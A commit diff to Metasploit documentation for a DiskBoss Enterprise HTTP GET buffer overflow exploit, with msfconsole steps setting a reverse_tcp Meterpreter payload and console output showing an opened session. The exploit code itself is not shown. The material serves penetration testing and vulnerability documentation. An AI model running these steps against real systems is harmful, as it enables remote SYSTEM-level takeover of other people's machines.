Skip to content

Commit a3930d3

Browse files
committed
Minor documentation improvements
1 parent 1a00ef3 commit a3930d3

File tree

1 file changed

+10
-6
lines changed

1 file changed

+10
-6
lines changed

documentation/modules/exploit/windows/http/diskboss_get_bof.md

Lines changed: 10 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,6 @@
11
## Vulnerable Application
22

3-
DiskBoss Enterprise versions up to v7.5.12 are affected by a stack-based buffer overflow vulnerability which can be leveraged by an attacker to execute arbitrary code in the context of NT AUTHORITY\SYSTEM on the target. The vulnerability is caused by improper bounds checking of the request path in HTTP GET requests sent to the built-in web server. This module has been tested successfully on Windows XP SP3 and Windows 7 SP1.
3+
[DiskBoss Enterprise](http://www.diskboss.com) versions up to v7.5.12 are affected by a stack-based buffer overflow vulnerability which can be leveraged by an attacker to execute arbitrary code in the context of NT AUTHORITY\SYSTEM on the target. The vulnerability is caused by improper bounds checking of the request path in HTTP GET requests sent to the built-in web server. This module has been tested successfully on Windows XP SP3 and Windows 7 SP1. The vulnerable application is available for download at [Exploit-DB](https://www.exploit-db.com/apps/71a11b97d2361389b9099e57f6400270-diskbossent_setup_v7.4.28.exe).
44

55
## Verification Steps
66
1. Install a vulnerable DiskBoss Enterprise
@@ -10,16 +10,18 @@ DiskBoss Enterprise versions up to v7.5.12 are affected by a stack-based buffer
1010
5. Check `Enable Web Server On Port 80` to start the web interface
1111
6. Start `msfconsole`
1212
7. Do `use exploit/windows/http/diskboss_get_bof`
13-
8. Do `set rhost 192.168.198.130`
13+
8. Do `set rhost ip`
1414
9. Do `check`
1515
10. Verify the target is vulnerable
1616
11. Do `set payload windows/meterpreter/reverse_tcp`
17-
12. Do `set lhost 192.168.198.138`
17+
12. Do `set lhost ip`
1818
13. Do `exploit`
1919
14. Verify the Meterpreter session is opened
2020

2121
## Scenarios
2222

23+
###DiskBoss Enterprise v7.5.12 on Windows XP SP3
24+
2325
```
2426
msf exploit(diskboss_get_bof) > options
2527
@@ -68,10 +70,12 @@ System Language : en_US
6870
Domain : WORKGROUP
6971
Logged On Users : 2
7072
Meterpreter : x86/win32
71-
meterpreter > exit
72-
[*] Shutting down Meterpreter...
73+
meterpreter >
74+
```
7375

74-
[*] 192.168.198.130 - Meterpreter session 1 closed. Reason: User exit
76+
###DiskBoss Enterprise v7.4.28 on Windows 7 SP1
77+
78+
```
7579
msf exploit(diskboss_get_bof) > set rhost 192.168.198.133
7680
rhost => 192.168.198.130
7781
msf exploit(diskboss_get_bof) > exploit

0 commit comments

Comments
 (0)